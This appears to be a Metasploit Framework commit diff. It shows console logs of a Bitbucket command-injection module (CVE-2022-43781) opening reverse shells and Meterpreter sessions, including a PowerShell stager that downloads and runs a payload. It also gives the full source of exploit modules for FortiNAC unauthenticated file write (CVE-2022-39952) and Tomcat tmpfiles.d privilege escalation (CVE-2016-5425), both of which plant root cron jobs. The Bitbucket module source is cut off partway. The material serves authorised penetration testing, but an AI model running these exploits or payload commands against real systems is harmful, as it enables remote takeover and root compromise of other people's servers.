[+] Commits added: 9e03047ab0802438c2058e49ec757a7be8d222eb, f7683fcc92840ff94e609c8b0a99e165edb5aa7d
[*] Sending payload
[*] Command shell session 1 opened (192.168.140.1:4444 -> 192.168.140.149:41118) at 2023-03-13 14:04:00 -0500
[*] Changing user name back to 'test'
[+] Repository has been deleted
[+] Project has been deleted
uname -a
Linux gitlab-virtual-machine 5.15.0-58-generic #64-Ubuntu SMP Thu Jan 5 11:43:13 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
id
uid=1001(atlbitbucket) gid=1001(atlbitbucket) groups=1001(atlbitbucket)
```
### Ubuntu 22.04 x64 - Bitbucket `v7.6.17`, Linux Dropper
```
msf6 exploit(multi/http/bitbucket_env_var_rce) > show targets
Exploit targets:
=================
Id Name
-- ----
0 Linux Command
=> 1 Linux Dropper
2 Windows Dropper
msf6 exploit(multi/http/bitbucket_env_var_rce) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/http/bitbucket_env_var_rce) > run
[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] No accessible repositories. Will attempt to create a repo
[*] Failed to find valid project information. Will attempt to create repo
[*] Project creation was successful
[+] Successfully created repository 'gmoQNc'
[+] Commits added: d355924ddef6869f5bbd7673c2a2d67c14ccd56d, cbd85c6309ab2830455c1796898f9677e10227e5
[*] Sending payload
[*] Using URL: http://192.168.140.1:8080/VtgFQ7yCgjcP
[*] Client 192.168.140.149 (Wget/1.21.2) requested /VtgFQ7yCgjcP
[*] Sending payload to 192.168.140.149 (Wget/1.21.2)
[*] Command Stager progress - 53.04% done (61/115 bytes)
[*] Command Stager progress - 72.17% done (83/115 bytes)
[*] Sending stage (1017704 bytes) to 192.168.140.149
[*] Meterpreter session 2 opened (192.168.140.1:4444 -> 192.168.140.149:50632) at 2023-03-13 14:06:18 -0500
[*] Command Stager progress - 83.48% done (96/115 bytes)
[*] Command Stager progress - 100.00% done (115/115 bytes)
[*] Changing user name back to 'test'
[+] Repository has been deleted
[+] Project has been deleted
meterpreter > getuid
Server username: atlbitbucket
```
### Windows 10, x64 - Bitbucket `v7.18.1`, Windows Dropper
```
msf6 > use exploit/multi/http/bitbucket_env_var_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/bitbucket_env_var_rce) > set rhost 192.168.140.171
rhost => 192.168.140.171
msf6 exploit(multi/http/bitbucket_env_var_rce) > set lhost 192.168.140.1
lhost => 192.168.140.1
msf6 exploit(multi/http/bitbucket_env_var_rce) > set username admin
username => admin
msf6 exploit(multi/http/bitbucket_env_var_rce) > set password P@ssword
password => P@ssword
msf6 exploit(multi/http/bitbucket_env_var_rce) > set target 2
target => 2
msf6 exploit(multi/http/bitbucket_env_var_rce) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/http/bitbucket_env_var_rce) > set verbose true
verbose => true
msf6 exploit(multi/http/bitbucket_env_var_rce) > run
[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Found version 7.18.1 of Bitbucket
[+] The target appears to be vulnerable.
[*] No accessible repositories. Will attempt to create a repo
[*] Failed to find valid project information. Will attempt to create repo
[*] Retrieving security token
[*] Project creation was successful
[+] Successfully created repository 'GqFji'
[+] Commits added: 99a9d18e3a72d01bbdaac9bd8d84ba97bb3d7dad, 85a051cb3572b13e59816ff51b527706d66ae392
[*] Sending payload
[*] Using URL: http://192.168.140.1:8080/ZOwoRUPRlio
[*] Generated command stager: ["powershell.exe -c Invoke-WebRequest -OutFile .\\xnbrdApP.exe http://192.168.140.1:8080/ZOwoRUPRlio", ".\\xnbrdApP.exe", "del .\\xnbrdApP.exe"]
[*] Client 192.168.140.171 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237) requested /ZOwoRUPRlio
[*] Sending payload to 192.168.140.171 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237)
[*] Command Stager progress - 75.19% done (97/129 bytes)
[*] Sending stage (175686 bytes) to 192.168.140.171
[*] Meterpreter session 1 opened (192.168.140.1:4444 -> 192.168.140.171:51236) at 2023-03-13 14:29:25 -0500
[*] Command Stager progress - 86.05% done (111/129 bytes)
[*] Command Stager progress - 100.00% done (129/129 bytes)
[*] Changing user name back to 'admin'
[*] Attempting to delete repository 'GqFji'
[+] Repository has been deleted
[*] Now attempting to delete project 'eTzDRa'
[+] Project has been deleted
meterpreter > getuid
Server username: DESKTOP-5JSUGC8\atlbitbucket
meterpreter > sysinfo
Computer : DESKTOP-5JSUGC8
OS : Windows 10 (10.0 Build 19044).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 4
Meterpreter : x86/windows
```
### Ubuntu 22.04 x64 - Bitbucket `v8.4.0` with mesh.enabled set to false, Linux Dropper
```
msf6 > use exploit/multi/http/bitbucket_env_var_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/bitbucket_env_var_rce) > set target 1
target => 1
msf6 exploit(multi/http/bitbucket_env_var_rce) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/http/bitbucket_env_var_rce) > set rhost 192.168.140.149
rhost => 192.168.140.149
msf6 exploit(multi/http/bitbucket_env_var_rce) > set lhost 192.168.140.1
lhost => 192.168.140.1
msf6 exploit(multi/http/bitbucket_env_var_rce) > set username administrator
username => administrator
msf6 exploit(multi/http/bitbucket_env_var_rce) > set password S3cureP@ssword
password => S3cureP@ssword
msf6 exploit(multi/http/bitbucket_env_var_rce) > run
[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Versions 8.* are vulnerable only if the mesh setting is disabled
[+] The target appears to be vulnerable.
[*] No accessible repositories. Will attempt to create a repo
[*] Failed to find valid project information. Will attempt to create repo
[*] Project creation was successful
[+] Successfully created repository 'IuNYsZZPl'
[+] Commits added: 560d760fdcbcf210c2c1b6dd04663381002066e5, 53ada0136f82899451c16a00cb939225dba53336
[*] Sending payload
[*] Using URL: http://192.168.140.1:8080/qt9f0M
[*] Client 192.168.140.149 (Wget/1.21.2) requested /qt9f0M
[*] Sending payload to 192.168.140.149 (Wget/1.21.2)
[*] Command Stager progress - 50.46% done (55/109 bytes)
[*] Command Stager progress - 70.64% done (77/109 bytes)
[*] Sending stage (1017704 bytes) to 192.168.140.149
[*] Meterpreter session 10 opened (192.168.140.1:4444 -> 192.168.140.149:43360) at 2023-03-14 19:00:00 -0500
[*] Command Stager progress - 82.57% done (90/109 bytes)
[*] Command Stager progress - 100.00% done (109/109 bytes)
[*] Changing user name back to 'administrator'
[+] Repository has been deleted
[+] Project has been deleted
meterpreter > getuid
Server username: atlbitbucket
```
+1 -1
View File
@@ -32,7 +32,7 @@ module Metasploit
end
end
VERSION = "6.3.7"
VERSION = "6.3.8"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
@@ -0,0 +1,149 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Fortinet FortiNAC keyUpload.jsp arbitrary file write',
'Description' => %q{
This module uploads a payload to the /tmp directory in addition to a cron job
to /etc/cron.d which executes the payload in the context of the root user.
The core vulnerability is an arbitrary file write issue in /configWizard/keyUpload.jsp which
is accessible remotely and without authentication. When you send the vulnerable
endpoint a ZIP file, it will extract an attacker controlled file to a directory
of the attackers choice on the target system.
This issue is exploitable on the following versions of FortiNAC:
FortiNAC version 9.4 prior to 9.4.1
FortiNAC version 9.2 prior to 9.2.6
FortiNAC version 9.1 prior to 9.1.8
FortiNAC 8.8 all versions
FortiNAC 8.7 all versions
FortiNAC 8.6 all versions
FortiNAC 8.5 all versions
FortiNAC 8.3 all versions
},
'Author' => [
'Gwendal Guégniaud', # discovery
'Zach Hanley', # PoC
'jheysel-r7' # module
],
'References' => [
['URL', 'https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/'],
['URL', 'https://www.fortiguard.com/psirt/FG-IR-22-300'],
['URL', 'https://github.com/horizon3ai/CVE-2022-39952'],
['URL', 'https://attackerkb.com/topics/9BvxYuiHYJ/cve-2022-39952'],
['CVE', '2022-39952']
],
'License' => MSF_LICENSE,
'Platform' => %w[linux unix],
'Privileged' => true,
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 8443,
'WfsDelay' => '75'
},
'Arch' => [ ARCH_CMD, ARCH_X64, ARCH_X86 ],
'Targets' => [
[ 'CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-02-16',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'configWizard', 'keyUpload.jsp'),
'method' => 'POST'
})
return Exploit::CheckCode::Unknown('Target did not respond') unless res
return Exploit::CheckCode::Safe("Target responded with unexpected HTTP response code: #{res.code}") unless res.code == 200
return Exploit::CheckCode::Appears('Target indicated a successful upload occurred!') if res.body.include?('yams.jsp.portal.SuccessfulUpload')
Exploit::CheckCode::Safe('The target responded with a 200 OK message, however the response to our POST request with a blank body did not contain the expected upload successful message!')
end
def zip_file(filepath, contents)
zip = Rex::Zip::Archive.new
zip.add_file(filepath, contents)
zip.pack
end
def send_zip_file(filename, contents, file_description)
mime = Rex::MIME::Message.new
mime.add_part(contents, nil, 'binary', "form-data; name=\"key\"; filename=\"#{filename}\"")
print_status("Sending zipped #{file_description} to /configWizard/keyUpload.jsp")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'configWizard', 'keyUpload.jsp'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
})
fail_with(Failure::Unknown, 'Failed to send the ZIP file to /configWizard/keyUpload.jsp') unless res && res.code == 200 && res.body.include?('yams.jsp.portal.SuccessfulUpload')
print_good('Successfully sent ZIP file')
end
def cron_file(command)
cron_file = 'SHELL=/bin/sh'
cron_file << "\n"
cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin'
cron_file << "\n"
cron_file << "* * * * * root #{command}"
cron_file << "\n"
cron_file
end
def exploit
cron_filename = Rex::Text.rand_text_alpha(8)
cron_path = '/etc/cron.d/' + cron_filename
case target['Arch']
when ARCH_CMD
cron_command = payload.raw
when ARCH_X64, ARCH_X86
payload_filename = Rex::Text.rand_text_alpha(8)
payload_path = '/tmp/' + payload_filename
payload_data = payload.encoded_exe
cron_command = "chmod +x #{payload_path} && #{payload_path}"
# zip and send payload
zipped_payload = zip_file(payload_path, payload_data)
send_zip_file(payload_filename, zipped_payload, 'payload')
register_dirs_for_cleanup(payload_path)
else
fail_with(Failure::BadConfig, 'Invalid target architecture selected')
end
# zip and send cron job
zipped_cron = zip_file(cron_path, cron_file(cron_command))
send_zip_file(cron_filename, zipped_cron, 'cron job')
register_dirs_for_cleanup(cron_path)
print_status('Waiting for cron job to run')
end
end
@@ -0,0 +1,178 @@
###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in a command on a linux computer for priv esc.
#
###
class MetasploitModule < Msf::Exploit::Local
Rank = ManualRanking
include Msf::Exploit::Retry
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::Linux::Compile
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Tomcat on RedHat Based Systems Insecure Temp Config Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in RedHat based systems where
improper file permissions are applied to /usr/lib/tmpfiles.d/tomcat.conf
for Apache Tomcat versions before 7.0.54-8. This may also work against
The configuration files in tmpfiles.d are used by systemd-tmpfiles to manage
temporary files including their creation.
With this weak permission, we're able to inject commands into systemd-tmpfiles
service to write a cron job to execute our payload.
systemd-tmpfiles is executed by default on boot on RedHat-based systems
through systemd-tmpfiles-setup.service. Depending on the system in use,
the execution of systemd-tmpfiles could also be triggered by other
services, cronjobs, startup scripts etc.
This module was tested against Tomcat 7.0.54-3 on Fedora 21.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Dawid Golunski <dawid@legalhackers.com>' # original PoC, analysis, discovery
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'DefaultOptions' => {
'WfsDelay' => 1800, # 30min
'payload' => 'linux/x64/meterpreter_reverse_tcp'
},
'References' => [
['EDB', '40488' ],
['URL', 'https://access.redhat.com/security/cve/CVE-2016-5425'],
['URL', 'http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html'],
['URL', 'https://www.freedesktop.org/software/systemd/man/tmpfiles.d.html'], # general tompfiles.d info
['CVE', '2016-5425']
],
'DisclosureDate' => '2016-10-10',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]),
]
end
# Simplify pulling the writable directory variable
def base_dir
datastore['WritableDir'].to_s
end
def tomcat_conf
'/usr/lib/tmpfiles.d/tomcat.conf'
end
def suid?(file)
get_suid_files(file).include? file
end
def check
package = cmd_exec('rpm -qa | grep "^tomcat\-[678]"')
if package.nil? || package.empty?
return CheckCode::Safe('Unable to execute command to determine installed pacakges')
end
package = package.sub('tomcat-', '').strip
# fedora based cleanup
package = package.sub(/\.fc\d\d\.noarch/, '')
# rhel/centos based cleanup
package = package.sub(/\.el\d_\d\.noarch/, '')
package = Rex::Version.new(package)
# The write-up says 6, 7, 8 but doesn't include version numbers. RHEL's writeup says
# only 7 is effected, so we're going to go off their write-up.
if package.to_s.start_with?('7') && package < Rex::Version.new('7.0.54-8')
return CheckCode::Appears("Vulnerable app version detected: #{package}")
end
CheckCode::Safe("Unexploitable tomcat packages found: #{package}")
end
def exploit
# Check if we're already root
if is_root? && !datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
unless writable? tomcat_conf
fail_with Failure::BadConfig, "#{tomcat_conf} is not writable"
end
vprint_status("Creating backup of #{tomcat_conf}")
@tomcat_conf_content = read_file(tomcat_conf)
path = store_loot(
tomcat_conf,
'text/plain',
rhost,
@tomcat_conf_content,
'tomcat.conf'
)
print_good("Original #{tomcat_conf} backed up to #{path}")
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
vprint_status("Uploading Payload to #{payload_path}")
upload_and_chmodx payload_path, generate_payload_exe
register_file_for_cleanup(payload_path)
# write in our payload execution
vprint_status("Writing permission elevation into #{tomcat_conf}")
cron_job = "/etc/cron.d/#{rand_text_alphanumeric(5..10)}"
print_status("Creating cron job in #{cron_job}")
# The POC shows 2 options, a cron answer, and copy bash answer.
# Initially I attempted to copy our payload, set suid and root owner
# however it seemed to need 2 service restart to apply all the permissions.
# I never figured out why it was like that, even chaining copying bash in, then
# launching the payload from the bash instance etc. We opt for the cron
# which may take 1 additional minute, and rely on cron, but is much more stable
cmd_exec("echo 'F #{cron_job} 0644 root root - \"* * * * * root nohup #{payload_path} & \\n\\n\"' >> #{tomcat_conf}")
register_file_for_cleanup(cron_job)
# we now need systemd-tmpfiles to restart
print_good("Waiting #{datastore['WfsDelay']} seconds. Run the following command on the target machine: /usr/bin/systemd-tmpfiles --create - this is required to restart the tmpfiles-setup.service")
succeeded = retry_until_truthy(timeout: datastore['WfsDelay']) do
file? cron_job
end
unless succeeded
print_error("#{cron_job} not found, exploit aborted")
return
end
print_status('Waiting on cron to execute the payload (~1 minute)')
end
def cleanup
unless @tomcat_conf_content.nil?
write_file(tomcat_conf, @tomcat_conf_content)
end
super
end
end
@@ -0,0 +1,619 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Git
include Msf::Exploit::Git::SmartHttp
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Bitbucket Environment Variable RCE',
'Description' => %q{
For various versions of Bitbucket, there is an authenticated command injection
vulnerability that can be exploited by injecting environment
variables into a user name. This module achieves remote code execution
as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment
variable, a null character as a delimiter, and arbitrary code into a user's
user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable
will be run once the Bitbucket application is coerced into generating a diff.
This module requires at least admin credentials, as admins and above
only have the option to change their user name.
},
'License' => MSF_LICENSE,
'Author' => [
'Ry0taK', # Vulnerability Discovery
'y4er', # PoC and blog post
'Shelby Pace' # Metasploit Module
],
'References' => [
[ 'URL', 'https://y4er.com/posts/cve-2022-43781-bitbucket-server-rce/'],
[ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html'],
[ 'CVE', '2022-43781']
],
'Platform' => [ 'win', 'unix', 'linux' ],
'Privileged' => true,
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
'Targets' => [
[
'Linux Command',
{
'Platform' => 'unix',
'Type' => :unix_cmd,
'Arch' => [ ARCH_CMD ],
'Payload' => { 'Space' => 254 },
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'MaxLineChars' => 254,
'Type' => :linux_dropper,
'Arch' => [ ARCH_X86, ARCH_X64 ],
'CmdStagerFlavor' => %i[wget curl],
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
}
],
[
'Windows Dropper',
{
'Platform' => 'win',
'MaxLineChars' => 254,
'Type' => :win_dropper,
'Arch' => [ ARCH_X86, ARCH_X64 ],
'CmdStagerFlavor' => [ :psh_invokewebrequest ],
'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }
}
]
],
'DisclosureDate' => '2022-11-16',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
}
)
)
register_options(
[
Opt::RPORT(7990),
OptString.new('USERNAME', [ true, 'User name to log in with' ]),
OptString.new('PASSWORD', [ true, 'Password to log in with' ]),
OptString.new('TARGETURI', [ true, 'The URI of the Bitbucket instance', '/'])
]
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login'),
'keep_cookies' => true
)
return CheckCode::Unknown('Failed to retrieve a response from the target') unless res
return CheckCode::Safe('Target does not appear to be Bitbucket') unless res.body.include?('Bitbucket')
nokogiri_data = res.get_html_document
footer = nokogiri_data&.at('footer')
return CheckCode::Detected('Failed to retrieve version information from Bitbucket') unless footer
version_info = footer.at('span')&.children&.text
return CheckCode::Detected('Failed to find version information in footer section') unless version_info
vers_matches = version_info.match(/v(\d+\.\d+\.\d+)/)
return CheckCode::Detected('Failed to find version info in expected format') unless vers_matches && vers_matches.length > 1
version_str = vers_matches[1]
vprint_status("Found version #{version_str} of Bitbucket")
major, minor, revision = version_str.split('.')
rev_num = revision.to_i
case major
when '7'
case minor
when '0', '1', '2', '3', '4', '5'
return CheckCode::Appears
when '6'
return CheckCode::Appears if rev_num >= 0 && rev_num <= 18
when '7', '8', '9', '10', '11', '12', '13', '14', '15', '16'
return CheckCode::Appears
when '17'
return CheckCode::Appears if rev_num >= 0 && rev_num <= 11
when '18', '19', '20'
return CheckCode::Appears
when '21'
return CheckCode::Appears if rev_num >= 0 && rev_num <= 5
end
when '8'
print_status('Versions 8.* are vulnerable only if the mesh setting is disabled')
case minor
when '0'
return CheckCode::Appears if rev_num >= 0 && rev_num <= 4
when '1'
return CheckCode::Appears if rev_num >= 0 && rev_num <= 4
when '2'
return CheckCode::Appears if rev_num >= 0 && rev_num <= 3
when '3'
return CheckCode::Appears if rev_num >= 0 && rev_num <= 2
when '4'
return CheckCode::Appears if rev_num == 0 || rev_num == 1
end
end
CheckCode::Detected
end
def default_branch
@default_branch ||= Rex::Text.rand_text_alpha(5..9)
end
def uname_payload(cmd)
"#{datastore['USERNAME']}\u0000GIT_EXTERNAL_DIFF=$(#{cmd})"
end
def log_in(username, password)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login'),
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('login')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),
'keep_cookies' => true,
'vars_post' => {
'j_username' => username,
'j_password' => password,
'_atl_remember_me' => 'on',
'submit' => 'Log in'
}
)
fail_with(Failure::UnexpectedReply, 'Didn\'t retrieve a response') unless res
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'projects'),
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'No response from the projects page') unless res
unless res.body.include?('Logged in')
fail_with(Failure::UnexpectedReply, 'Failed to log in. Please check credentials')
end
end
def create_project
proj_uri = normalize_uri(target_uri.path, 'projects?create')
res = send_request_cgi(
'method' => 'GET',
'uri' => proj_uri,
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Unable to access project creation page') unless res&.body&.include?('Create project')
vprint_status('Retrieving security token')
html_doc = res.get_html_document
token_data = html_doc.at('div//input[@name="atl_token"]')
fail_with(Failure::UnexpectedReply, 'Failed to find element containing \'atl_token\'') unless token_data
@token = token_data['value']
fail_with(Failure::UnexpectedReply, 'No token found') if @token.blank?
project_name = Rex::Text.rand_text_alpha(5..9)
project_key = Rex::Text.rand_text_alpha(5..9).upcase
res = send_request_cgi(
'method' => 'POST',
'uri' => proj_uri,
'keep_cookies' => true,
'vars_post' => {
'name' => project_name,
'key' => project_key,
'submit' => 'Create project',
'atl_token' => @token
}
)
fail_with(Failure::UnexpectedReply, 'Failed to receive response from project creation') unless res
fail_with(Failure::UnexpectedReply, 'Failed to create project') unless res['Location']&.include?(project_key)
print_status('Project creation was successful')
[ project_name, project_key ]
end
def create_repository
repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos?create')
res = send_request_cgi(
'method' => 'GET',
'uri' => repo_uri,
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Failed to access repo creation page') unless res
html_doc = res.get_html_document
dropdown_data = html_doc.at('li[@class="user-dropdown"]')
fail_with(Failure::UnexpectedReply, 'Failed to find dropdown to retrieve email address') if dropdown_data.blank?
email = dropdown_data&.at('span')&.[]('data-emailaddress')
fail_with(Failure::UnexpectedReply, 'Failed to retrieve email address from response') if email.blank?
repo_name = Rex::Text.rand_text_alpha(5..9)
res = send_request_cgi(
'method' => 'POST',
'uri' => repo_uri,
'keep_cookies' => true,
'vars_post' => {
'name' => repo_name,
'defaultBranchId' => default_branch,
'description' => '',
'scmId' => 'git',
'forkable' => 'false',
'atl_token' => @token,
'submit' => 'Create repository'
}
)
fail_with(Failure::UnexpectedReply, 'No response received from repo creation') unless res
res = send_request_cgi(
'method' => 'GET',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'projects', @project_key, 'repos', repo_name, 'browse')
)
fail_with(Failure::UnexpectedReply, 'Repository was not created') if res&.code == 404
print_good("Successfully created repository '#{repo_name}'")
[ email, repo_name ]
end
def generate_repo_objects(email, repo_file_data = [], parent_object = nil)
txt_data = Rex::Text.rand_text_alpha(5..20)
blob_object = GitObject.build_blob_object(txt_data)
file_name = "#{Rex::Text.rand_text_alpha(4..10)}.txt"
file_data = {
mode: '100755',
file_name: file_name,
sha1: blob_object.sha1
}
tree_data = (repo_file_data.empty? ? [ file_data ] : [ file_data, repo_file_data ])
tree_obj = GitObject.build_tree_object(tree_data)
commit_obj = GitObject.build_commit_object({
tree_sha1: tree_obj.sha1,
email: email,
message: Rex::Text.rand_text_alpha(4..30),
parent_sha1: (parent_object.nil? ? nil : parent_object.sha1)
})
{
objects: [ commit_obj, tree_obj, blob_object ],
file_data: file_data
}
end
# create two files in two separate commits in order
# to view a diff and get code execution
def create_commits(email)
init_objects = generate_repo_objects(email)
commit_obj = init_objects[:objects].first
refs = {
'HEAD' => "refs/heads/#{default_branch}",
"refs/heads/#{default_branch}" => commit_obj.sha1
}
final_objects = generate_repo_objects(email, init_objects[:file_data], commit_obj)
repo_objects = final_objects[:objects] + init_objects[:objects]
new_commit = final_objects[:objects].first
new_file = final_objects[:file_data][:file_name]
git_uri = normalize_uri(target_uri.path, "scm/#{@project_key}/#{@repo_name}.git")
res = send_receive_pack_request(
git_uri,
refs['HEAD'],
repo_objects,
'0' * 40 # no commits should exist yet, so no branch tip in repo yet
)
fail_with(Failure::UnexpectedReply, 'Failed to push commit to repository') unless res
fail_with(Failure::UnexpectedReply, 'Git responded with an error') if res.body.include?('error:')
fail_with(Failure::UnexpectedReply, 'Git push failed') unless res.body.include?('unpack ok')
[ new_commit.sha1, commit_obj.sha1, new_file ]
end
def get_user_id(curr_uname)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin/users/view'),
'vars_get' => { 'name' => curr_uname }
)
matched_id = res.get_html_document&.xpath("//script[contains(text(), '\"name\":\"#{curr_uname}\"')]")&.first&.text&.match(/"id":(\d+)/)
fail_with(Failure::UnexpectedReply, 'No matches found for id of user') unless matched_id && matched_id.length > 1
matched_id[1]
end
def change_username(curr_uname, new_uname)
@user_id ||= get_user_id(curr_uname)
headers = {
'X-Requested-With' => 'XMLHttpRequest',
'X-AUSERID' => @user_id,
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}"
}
vars = {
'name' => curr_uname,
'newName' => new_uname
}.to_json
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'rest/api/latest/admin/users/rename'),
'ctype' => 'application/json',
'keep_cookies' => true,
'headers' => headers,
'data' => vars
)
unless res
print_bad('Did not receive a response to the user name change request')
return false
end
unless res.body.include?(new_uname) || res.body.include?('GIT_EXTERNAL_DIFF')
print_bad('User name change was unsuccessful')
return false
end
true
end
def commit_uri(project_key, repo_name, commit_sha)
normalize_uri(
target_uri.path,
'rest/api/latest/projects',
project_key,
'repos',
repo_name,
'commits',
commit_sha
)
end
def view_commit_diff(latest_commit_sha, first_commit_sha, diff_file)
commit_diff_uri = normalize_uri(
commit_uri(@project_key, @repo_name, latest_commit_sha),
'diff',
diff_file
)
send_request_cgi(
'method' => 'GET',
'uri' => commit_diff_uri,
'keep_cookies' => true,
'vars_get' => { 'since' => first_commit_sha }
)
end
def delete_repository(username)
vprint_status("Attempting to delete repository '#{@repo_name}'")
repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos', @repo_name.downcase)
res = send_request_cgi(
'method' => 'DELETE',
'uri' => repo_uri,
'keep_cookies' => true,
'headers' => {
'X-AUSERNAME' => username,
'X-AUSERID' => @user_id,
'X-Requested-With' => 'XMLHttpRequest',
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",
'ctype' => 'application/json',
'Accept' => 'application/json, text/javascript'
}
)
unless res&.body&.include?('scheduled for deletion')
print_warning('Failed to delete repository')
return
end
print_good('Repository has been deleted')
end
def delete_project(username)
vprint_status("Now attempting to delete project '#{@project_name}'")
send_request_cgi( # fails to return a response
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, 'projects', @project_key),
'keep_cookies' => true,
'headers' => {
'X-AUSERNAME' => username,
'X-AUSERID' => @user_id,
'X-Requested-With' => 'XMLHttpRequest',
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",
'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/projects/#{@project_key}/settings",
'ctype' => 'application/json',
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Accept-Encoding' => 'gzip, deflate'
}
)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'projects', @project_key),
'keep_cookies' => true
)
unless res&.code == 404
print_warning('Failed to delete project')
return
end
print_good('Project has been deleted')
end
def get_repo
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),
'keep_cookies' => true
)
unless res
print_status('Couldn\'t access repos page. Will create repo')
return []
end
json_data = JSON.parse(res.body)
unless json_data && json_data['size'] >= 1
